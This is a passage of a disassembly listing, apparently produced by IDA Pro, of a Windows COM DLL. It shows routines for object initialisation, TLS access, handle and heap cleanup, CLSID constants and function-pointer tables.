		mov	edi, offset dword_69B962A8
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5A973
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B962C8
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B962D8
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5C715
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B962E8
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5A99E
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96308
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96318
		movsd
		movsd
		movsd
		movsd
		mov	[ebp+var_10], offset sub_69B5ADBA
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_10]
		mov	edi, offset dword_69B96328
		movsd
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		leave
		retn
sub_69B119AE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B17F72


loc_69B11C4B:				; CODE XREF: sub_69B17F72+24j
		mov	[ebp+var_4], 0FFFFFFFh
		jmp	loc_69B17FA4
; ---------------------------------------------------------------------------


loc_69B11C57:				; CODE XREF: sub_69B17F72+45j
		mov	[ebp+arg_0], edx
		mov	[ebp+var_C], edx
		mov	ecx, edx
		jmp	loc_69B17FC6
; ---------------------------------------------------------------------------


loc_69B11C64:				; CODE XREF: sub_69B17F72+337Bj
		call	sub_69B2D461
		jmp	loc_69B1B2F9
; ---------------------------------------------------------------------------


loc_69B11C6E:				; CODE XREF: sub_69B17F72+3396j
		xor	eax, eax
		jmp	loc_69B18087
; END OF FUNCTION CHUNK	FOR sub_69B17F72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19DB4


loc_69B11C75:				; CODE XREF: sub_69B19DB4+3Dj
		push	204h		; dwBytes
		call	sub_69B19E4E
		test	eax, eax
		pop	ecx
		mov	[ebx], eax
		mov	ebp, eax
		jz	loc_69B238AF
		jmp	loc_69B19DF7
; END OF FUNCTION CHUNK	FOR sub_69B19DB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1818F


loc_69B11C91:				; CODE XREF: sub_69B1818F+Bj
		push	esi
		call	sub_69B19DB4
		jmp	loc_69B181A0
; END OF FUNCTION CHUNK	FOR sub_69B1818F
; [00000006 BYTES: COLLAPSED FUNCTION GetFileVersionInfoSizeA. PRESS KEYPAD "+"	TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION GetFileVersionInfoA. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION VerQueryValueA. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B11CAE	proc near		; CODE XREF: sub_69B1B814+62p

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

; FUNCTION CHUNK AT 69B220FC SIZE 00000007 BYTES

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		add	ecx, 1
		neg	ecx
		sub	edi, 1
		mov	al, [ebp+arg_4]
		std
		repne scasb
		add	edi, 1
		cmp	[edi], al
		jnz	loc_69B220FC
		mov	eax, edi


loc_69B11CD7:				; CODE XREF: sub_69B11CAE+10450j
		cld
		pop	edi
		leave
		retn
sub_69B11CAE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1A799


loc_69B11CDB:				; CODE XREF: sub_69B1A799+80j
		call	sub_69B19AEC
		push	eax
		lea	edi, [esi+24h]
		push	edi
		call	sub_69B17320
		mov	edi, [edi]
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]
		jmp	loc_69B1A81F
; ---------------------------------------------------------------------------


loc_69B11CF7:				; CODE XREF: sub_69B1A799+5Fj
		xor	edi, edi
		jmp	loc_69B1A80B
; END OF FUNCTION CHUNK	FOR sub_69B1A799

; =============== S U B	R O U T	I N E =======================================



sub_69B11CFE	proc near		; CODE XREF: sub_69B1A799+54p
					; sub_69B315F1+15p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		mov	eax, esi
		shl	eax, 4
		add	eax, [esp+4+arg_0]
		push	eax
		call	sub_69B17EF3
		mov	[eax+8], esi
		pop	esi
		retn
sub_69B11CFE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19621


loc_69B11D17:				; CODE XREF: sub_69B19621+5Dj
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_69B1941C
		jmp	loc_69B1968D
; ---------------------------------------------------------------------------


loc_69B11D27:				; CODE XREF: sub_69B19621+73j
		mov	eax, dword_69B929A8
		mov	[esi+0Ch], eax
		jmp	loc_69B1969A
; ---------------------------------------------------------------------------


loc_69B11D34:				; CODE XREF: sub_69B19621+B6j
		xor	eax, eax
		jmp	loc_69B196F1
; END OF FUNCTION CHUNK	FOR sub_69B19621

; =============== S U B	R O U T	I N E =======================================



sub_69B11D3B	proc near		; CODE XREF: sub_69B192E9+38p
					; sub_69B19621+3Ap ...

arg_0		= dword	ptr  4

		push	esi
		push	dwTlsIndex
		mov	esi, ecx
		call	dword_69B92970
		mov	[esi], eax
		mov	ecx, [eax+2Ch]
		mov	[esi+4], ecx
		mov	ecx, [esp+4+arg_0]
		mov	[esi+8], ecx
		mov	[eax+2Ch], ecx
		mov	eax, esi
		pop	esi
		retn	4
sub_69B11D3B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1879A


loc_69B11D62:				; CODE XREF: sub_69B1879A+4Fj
		mov	[ecx], ebx
		jmp	loc_69B187EF
; ---------------------------------------------------------------------------


loc_69B11D69:				; CODE XREF: sub_69B1879A+5Cj
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		jmp	locret_69B187FC
; END OF FUNCTION CHUNK	FOR sub_69B1879A

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_69B11D73	proc near		; DATA XREF: .text:69B1F258o
		jmp	sub_69B18381
sub_69B11D73	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B192E9


loc_69B11D78:				; CODE XREF: sub_69B192E9+76j
		mov	eax, dword_69B929A8
		mov	[esi+0Ch], eax
		jmp	loc_69B19365
; ---------------------------------------------------------------------------


loc_69B11D85:				; CODE XREF: sub_69B192E9+A9j
		xor	eax, eax
		jmp	loc_69B193A4
; END OF FUNCTION CHUNK	FOR sub_69B192E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1941C


loc_69B11D8C:				; CODE XREF: sub_69B1941C+3Dj
		mov	eax, [ebp-20h]
		mov	eax, [eax+4]
		jmp	loc_69B19461
; END OF FUNCTION CHUNK	FOR sub_69B1941C

; =============== S U B	R O U T	I N E =======================================



sub_69B11D97	proc near		; CODE XREF: sub_69B1BCE3+7Dp
					; sub_69B8BD72+C3p
		mov	eax, ecx
		xor	cl, cl
		mov	[eax], cl
		mov	[eax+1], cl
		mov	[eax+2], cl
		mov	byte ptr [eax+3], 1
		mov	[eax+4], cl
		mov	[eax+5], cl
		mov	byte ptr [eax+6], 1
		mov	byte ptr [eax+7], 1
		retn
sub_69B11D97	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18800


loc_69B11DB6:				; CODE XREF: sub_69B18800+7j
					; sub_69B18800+1Aj
		xor	eax, eax
		jmp	locret_69B18823
; END OF FUNCTION CHUNK	FOR sub_69B18800

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_69B11DBD	proc near		; DATA XREF: .text:69B17D34o
		jmp	sub_69B18826
sub_69B11DBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B11DC2	proc near		; CODE XREF: sub_69B1992C+45p
					; sub_69B19E6E+150p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		lea	eax, [eax+esi*4]
		push	eax
		call	sub_69B17EF3
		mov	[eax+8], esi
		pop	esi
		retn
sub_69B11DC2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1992C


loc_69B11DD9:				; CODE XREF: sub_69B1992C+FF0j
		push	edi		; Value
		mov	ecx, offset dword_69B95AB8 ; Target
		call	sub_69B188DC


loc_69B11DE4:				; CODE XREF: sub_69B1992C+3Bj
					; sub_69B24AAA+18j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		lea	ecx, [ebp-1Ch]
		call	sub_69B1900C


loc_69B11DF8:				; CODE XREF: sub_69B1992C+14j
		call	sub_69B1853C
		retn
; ---------------------------------------------------------------------------


loc_69B11DFE:				; CODE XREF: sub_69B1992C+53j
		xor	eax, eax
		jmp	loc_69B1998A
; END OF FUNCTION CHUNK	FOR sub_69B1992C

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B11E05(LPCWSTR lpString)

sub_69B11E05	proc near		; CODE XREF: sub_69B1992C+81p
					; sub_69B460C4+D4p ...

lpString	= dword	ptr  4

		push	0
		push	[esp+4+lpString] ; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	[esp+8+lpString]
		push	0
		call	sub_69B192CB
		retn	4
sub_69B11E05	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B11E20	proc near		; CODE XREF: sub_69B1BCE3+15Cp
		push	esi
		mov	esi, ecx
		call	sub_69B17275
		neg	eax
		sbb	al, al
		inc	al
		push	eax
		push	1
		push	20h
		call	sub_69B1A768
		push	eax
		add	esi, 8
		push	esi
		call	sub_69B17320
		pop	esi
		retn
sub_69B11E20	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B11E44	proc near		; CODE XREF: sub_69B1C300+8p
					; sub_69B1D8D5+14p ...

arg_0		= dword	ptr  4

		push	ebx
		push	[esp+4+arg_0]
		xor	ebx, ebx
		call	sub_69B17F2C
		pop	ebx
		retn	4
sub_69B11E44	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B11E54	proc near		; CODE XREF: sub_69B1C300+14p

arg_0		= dword	ptr  4

		mov	eax, ecx
		xor	ecx, ecx
		mov	[eax], ecx
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		mov	[eax+10h], ecx
		mov	[eax+14h], ecx
		mov	ecx, [esp+arg_0]
		mov	[eax+18h], ecx
		retn	4
sub_69B11E54	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B11E73	proc near		; CODE XREF: sub_69B18CB3+72p
					; DllGetClassObject:loc_69B22948p ...
		push	dwTlsIndex
		call	dword_69B92970
		retn
sub_69B11E73	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B11E80	proc near		; CODE XREF: sub_69B18CB3+AFp
					; sub_69B1B0B5+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		push	eax		; Target
		call	sub_69B18980
		and	eax, 0FFFFFFF9h
		retn	4
sub_69B11E80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B11E93	proc near		; CODE XREF: sub_69B182B8+83p
					; sub_69B23725+23p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 69B238E5 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	edi


loc_69B11E9E:				; CODE XREF: sub_69B11E93+61j
		cmp	ebx, [eax+10h]
		jbe	short loc_69B11EEF
		cmp	ebx, [eax+14h]
		jnb	short loc_69B11EEF
		test	bl, 0Fh
		jnz	short loc_69B11EF6
		mov	ecx, ebx
		and	ecx, 0FFFh
		mov	edi, 110h
		cmp	ecx, edi
		jb	short loc_69B11EF6
		mov	ecx, [ebp+arg_8]
		push	esi
		mov	[ecx], eax
		mov	eax, [ebp+arg_C]
		mov	esi, ebx
		and	esi, 0FFFFF000h
		mov	[eax], esi
		mov	eax, [esi]
		and	eax, 0FFFFFFFEh
		cmp	eax, [ebp+arg_0]
		jnz	loc_69B238E5


loc_69B11EDF:				; CODE XREF: sub_69B11E93+11A58j
		sub	ebx, esi
		sub	ebx, edi
		sar	ebx, 4
		lea	eax, [ebx+esi+10h]
		pop	esi


loc_69B11EEB:				; CODE XREF: sub_69B11E93+65j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_69B11EEF:				; CODE XREF: sub_69B11E93+Ej
					; sub_69B11E93+13j
		mov	eax, [eax]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_69B11E9E


loc_69B11EF6:				; CODE XREF: sub_69B11E93+18j
					; sub_69B11E93+29j
		xor	eax, eax
		jmp	short loc_69B11EEB
sub_69B11E93	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B11EFA	proc near		; CODE XREF: sub_69B18CB3+56C4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B22F22 SIZE 00000018 BYTES

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		lea	eax, [ebx+4]
		push	eax		; Target
		mov	edi, ebx
		call	sub_69B18980
		mov	esi, eax
		and	esi, 0FFFFFFF9h


loc_69B11F11:				; CODE XREF: sub_69B11EFA+1103Bj
		cmp	esi, ebx
		jnz	loc_69B22F22
		mov	eax, [esp+0Ch+arg_4]
		mov	[edi+4], eax
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B11EFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B11F26	proc near		; CODE XREF: sub_69B1BA12+67p
		cmp	[ebp+10h], edi
		jz	short locret_69B11F33
		push	8
		call	sub_69B1D1C5
		pop	ecx

locret_69B11F33:			; CODE XREF: sub_69B11F26+3j
		retn
sub_69B11F26	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1B766


loc_69B11F34:				; CODE XREF: sub_69B1B766+23j
		push	dword ptr [esi]
		call	sub_69B1D1FD
		and	dword ptr [esi], 0
		pop	ecx
		jmp	loc_69B1B773
; END OF FUNCTION CHUNK	FOR sub_69B1B766

; =============== S U B	R O U T	I N E =======================================



sub_69B11F44	proc near		; CODE XREF: sub_69B1B625+127p
					; sub_69B1CD73:loc_69B1CE54p ...
		mov	eax, dword_69B9267C
		cmp	eax, 0FFFFFFFFh
		jz	sub_69B1A509
		push	eax
		call	dword_69B95B38
		or	dword_69B9267C,	0FFFFFFFFh
		jmp	sub_69B1A509
sub_69B11F44	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B11F65	proc near		; CODE XREF: sub_69B1B625+12Cp
					; sub_69B1B625:loc_69B24BABp
		cmp	dword_69B96004,	3
		jz	sub_69B25025


loc_69B11F72:				; CODE XREF: sub_69B25025+69j
		push	dword_69B96000	; hHeap
		call	ds:HeapDestroy	; HeapDestroy
		retn
sub_69B11F65	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B11F7F	proc near		; CODE XREF: sub_69B1E3D1+54p
		push	dwTlsIndex
		inc	dword_69B929AC
		call	dword_69B92970
		mov	dword_69B9299C,	eax
		mov	dword_69B929A0,	eax
		mov	byte_69B929A4, 1
		retn
sub_69B11F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B11FA3	proc near		; CODE XREF: sub_69B2FB2A+3j
					; DATA XREF: .text:69B1D588o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B11FA3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B11FB9	proc near		; CODE XREF: sub_69B1E3D1+6Bp
		push	offset dword_69B95A04
		call	sub_69B17230
		retn
sub_69B11FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B11FC4	proc near		; DATA XREF: .text:69B1D3C8o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B11FC4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B17135


loc_69B11FF0:				; CODE XREF: sub_69B17135+2Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		call	sub_69B1853C
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B17135

; =============== S U B	R O U T	I N E =======================================



sub_69B11FFF	proc near		; DATA XREF: .text:69B17318o

; FUNCTION CHUNK AT 69B23E88 SIZE 0000000B BYTES

		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+18h]
		cmp	dword ptr [esi], 0
		jz	short loc_69B1203A
		push	dwTlsIndex
		call	dword_69B92970
		test	byte ptr [edi+1Ch], 1
		jnz	loc_69B23E88
		mov	ecx, dword_69B95A14


loc_69B12027:				; CODE XREF: sub_69B11FFF+11E8Fj
		test	ecx, ecx
		jz	short loc_69B12032
		push	dword ptr [esi]
		call	sub_69B17DC6


loc_69B12032:				; CODE XREF: sub_69B11FFF+2Aj
		push	0
		push	esi
		call	sub_69B17320


loc_69B1203A:				; CODE XREF: sub_69B11FFF+Aj
		pop	edi
		pop	esi
		retn
sub_69B11FFF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B17DC6


loc_69B1203D:				; CODE XREF: sub_69B17DC6+68j
		mov	ecx, [esi+20h]
		mov	[ebp-38h], ecx
		mov	[ebp-3Ch], eax
		push	eax
		call	sub_69B171A0
		mov	[ebp-40h], eax
		or	dword ptr [eax+0Ch], 0FFFFFFFFh
		jmp	loc_69B17E34
; ---------------------------------------------------------------------------


loc_69B12058:				; CODE XREF: sub_69B17DC6+74j
		inc	eax
		mov	[esi+1Ch], eax
		jmp	loc_69B17E40
; ---------------------------------------------------------------------------


loc_69B12061:				; CODE XREF: sub_69B17DC6+44j
		and	dword ptr [ebp-34h], 0
		jmp	loc_69B17E6D
; END OF FUNCTION CHUNK	FOR sub_69B17DC6

; =============== S U B	R O U T	I N E =======================================



sub_69B1206A	proc near		; CODE XREF: sub_69B17DC6+7Dp
		mov	eax, ecx
		and	dword ptr [eax], 0
		retn
sub_69B1206A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B12070	proc near		; CODE XREF: sub_69B17DC6+A2p
		push	ecx
		call	sub_69B17230
		retn
sub_69B12070	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B12077	proc near		; DATA XREF: .text:69B17314o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B12077	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1B1F3


loc_69B12098:				; CODE XREF: sub_69B1B1F3+26j
		push	0FFFFFFFFh	; dwMilliseconds
		call	sub_69B18F8A
		jmp	loc_69B1B21F
; END OF FUNCTION CHUNK	FOR sub_69B1B1F3

; =============== S U B	R O U T	I N E =======================================



sub_69B120A4	proc near		; CODE XREF: sub_69B1E3D1+7Dp
					; .text:69B2E1F9j

; FUNCTION CHUNK AT 69B235B8 SIZE 00000010 BYTES

		push	esi
		mov	esi, dword_69B929F4


loc_69B120AB:				; CODE XREF: sub_69B120A4+1151Fj
		test	esi, esi
		jnz	loc_69B235B8
		pop	esi
		retn
sub_69B120A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B120B5	proc near		; CODE XREF: sub_69B1E3D1+82p
		mov	eax, dword_69B929F0
		test	eax, eax
		jz	nullsub_4
		lea	ecx, [eax+4]
		jmp	sub_69B19038
sub_69B120B5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1C43A


loc_69B120CA:				; CODE XREF: sub_69B1C43A+9j
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17230
		mov	esi, [esi+14h]
		jmp	loc_69B1C441
; END OF FUNCTION CHUNK	FOR sub_69B1C43A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B120DB	proc near		; CODE XREF: sub_69B1ADE2+26p
					; sub_69B17F72+B8CFp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	0		; Value
		lea	eax, [edi+2030h]
		push	eax		; Target
		call	ds:InterlockedExchange	; InterlockedExchange
		mov	esi, eax
		test	esi, esi
		jnz	sub_69B23725


loc_69B120FE:				; CODE XREF: sub_69B23725+87j
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B120DB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1B4E4


loc_69B12104:				; CODE XREF: sub_69B1B4E4+39j
		push	eax		; lpMem
		call	sub_69B1B532
		pop	ecx
		jmp	loc_69B1B523
; END OF FUNCTION CHUNK	FOR sub_69B1B4E4

; =============== S U B	R O U T	I N E =======================================



sub_69B12110	proc near		; CODE XREF: sub_69B1E5CC+23p
					; sub_69B2D601+3p
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+10h] ; hObject
		call	ds:CloseHandle	; CloseHandle
		add	esi, 38h
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B12110	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B12128	dd 0F6D90F10h, 11D39C73h, 0C0002EB3h, 0B40B994Fh, 0F6D90F12h
					; DATA XREF: .text:69B1C644o
					; sub_69B3D5E1:loc_69B3D5FEo
		dd 11D39C73h, 0C0002EB3h, 0B40B994Fh
; CLSID	stru_69B12148
stru_69B12148	dd 0F5078F1Bh		; Data1	; DATA XREF: .text:69B1C684o
					; sub_69B7FB0F+1D5o ...
		dw 0C551h		; Data2
		dw 11D3h		; Data3
		db 89h,	0B9h, 2	dup(0),	0F8h, 1Fh, 0E2h, 21h; Data4
dword_69B12158	dd 0F6D90F11h, 11D39C73h, 0C0002EB3h, 0B40B994Fh
					; DATA XREF: .text:69B1C674o
					; sub_69B1C12C+2FC7o ...
; CLSID	stru_69B12168
stru_69B12168	dd 0F5078F20h		; Data1	; DATA XREF: .text:69B1C6F4o
					; sub_69B83984+14o
		dw 0C551h		; Data2
		dw 11D3h		; Data3
		db 89h,	0B9h, 2	dup(0),	0F8h, 1Fh, 0E2h, 21h; Data4
dword_69B12178	dd 0F5078F19h, 11D3C551h, 0B989h, 21E21FF8h
					; DATA XREF: DllGetClassObject+4Ao
					; .text:69B1C6E4o
off_69B12188	dd offset sub_69B2D67E	; DATA XREF: sub_69B18169+Do
					; sub_69B186FAo ...
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B2D825
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset nullsub_5
off_69B121C0	dd offset sub_69B2E328	; DATA XREF: sub_69B1D908+1Do
					; sub_69B2E26A+14o
off_69B121C4	dd offset sub_69B448B2	; DATA XREF: sub_69B1D908+17o
					; sub_69B2E26A+Eo
		dd offset sub_69B18E45
		dd offset sub_69B2E347
off_69B121D0	dd offset sub_69B2D67E	; DATA XREF: sub_69B2EF86+8o
					; sub_69B2F36F+1Eo ...
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset nullsub_5
		dd offset sub_69B2EFA9
		dd offset sub_69B2EF98
off_69B12210	dd offset sub_69B2D67E	; DATA XREF: sub_69B190D7+26o
					; sub_69B2F2CA+39o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B18884
		dd offset sub_69B17D5C
		dd offset sub_69B18826
		dd offset sub_69B2F49D
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset nullsub_5
		dd offset sub_69B2EFDA
off_69B1224C	dd offset sub_69B2D67E	; DATA XREF: sub_69B2F610+Co
					; sub_69B2F66B-34o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2F55F
		dd offset sub_69B2E804
		dd offset sub_69B2FABC
		dd offset sub_69B2F643
		dd offset sub_69B2F570
		dd offset nullsub_5
		dd offset nullsub_5
aName:					; DATA XREF: sub_69B4FDBC+38Eo
					; .text:69B5EE48o ...
		unicode	0, <name>,0
		align 10h
aString:				; DATA XREF: .text:69B210F8o
					; .text:69B5EE80o ...
		unicode	0, <string>,0
		align 10h
flt_69B122A0	dd 8.5000002e-1		; DATA XREF: sub_69B1A799+3Br
					; sub_69B31699+5Ar
dword_69B122A4	dd 2Ah							; .text:69B266D8o ...
off_69B122A8	dd offset sub_69B448B2	; DATA XREF: sub_69B3659D+3o
					; sub_69B36793+12o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B3660F
		dd offset sub_69B36364
		dd offset sub_69B365E3
		dd offset sub_69B84A43
		dd offset sub_69B365EB
		dd offset sub_69B365FB
		dd offset sub_69B365F3
		dd offset sub_69B365EB
		dd offset sub_69B365EB
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
off_69B122E0	dd offset sub_69B448B2	; DATA XREF: sub_69B38858-94o
					; sub_69B38833+7o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B387DC
		dd offset sub_69B387F8
		dd offset sub_69B365E3
		dd offset sub_69B84A43
		dd offset sub_69B365EB
		dd offset sub_69B84A3B
		dd offset sub_69B365F3
		dd offset sub_69B365EB
		dd offset sub_69B365EB
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
off_69B12318	dd offset sub_69B448B2	; DATA XREF: sub_69B3A342+Eo
					; sub_69B3A38A+7o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B3A038
		dd offset sub_69B39DB6
		dd offset sub_69B365E3
		dd offset sub_69B84A43
		dd offset sub_69B365EB
		dd offset sub_69B3A007
		dd offset sub_69B365F3
		dd offset sub_69B365EB
		dd offset sub_69B365EB
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
off_69B12350	dd offset sub_69B448B2	; DATA XREF: sub_69B3C164o
					; sub_69B3CA5C+10o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B3BD99
		dd offset sub_69B3BE20
		dd offset sub_69B3BE60
		dd offset sub_69B3CC54
off_69B1236C	dd offset sub_69B3B7BC	; DATA XREF: sub_69B3C290+7o
					; sub_69B3CDC8+Fo
		dd offset sub_69B1F56C
		dd offset sub_69B7793E
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B7794D
		dd offset sub_69B3C310
		dd offset sub_69B3BD89
		dd offset sub_69B3BEC6
		dd offset sub_69B3BD91
		dd offset sub_69B3BFAC
		dd offset sub_69B3C33C
		dd offset sub_69B3BD91
		dd offset sub_69B3CE0F
off_69B123A4	dd offset sub_69B3C3D3	; DATA XREF: sub_69B3CC8F+19o
					; sub_69B3CD5C+9o
		dd offset sub_69B1F56C
		dd offset sub_69B7793E
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B7794D
		dd offset sub_69B3C310
		dd offset sub_69B3CB30
		dd offset sub_69B3C07A
		dd offset sub_69B3C574
		dd offset sub_69B3C00A
		dd offset sub_69B3C4C3
		dd offset sub_69B3C888
		dd offset sub_69B3CF04
off_69B123DC	dd offset sub_69B448B2	; DATA XREF: sub_69B3DA5B+Co
					; sub_69B3DA9D+7o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B4E45A
		dd offset sub_69B4E589
		dd offset sub_69B4EA49
		dd offset sub_69B4E5DF
		dd offset sub_69B4EBD9
		align 10h
off_69B12400	dd offset loc_69B3F4D5	; DATA XREF: sub_69B1BCE3+35o
					; sub_69B3F305+27o
		dd offset sub_69B3F55A
		dd offset sub_69B3F8EA
		dd offset loc_69B3F4DF
		dd offset sub_69B3F4E7
		dd offset sub_69B3F4EF
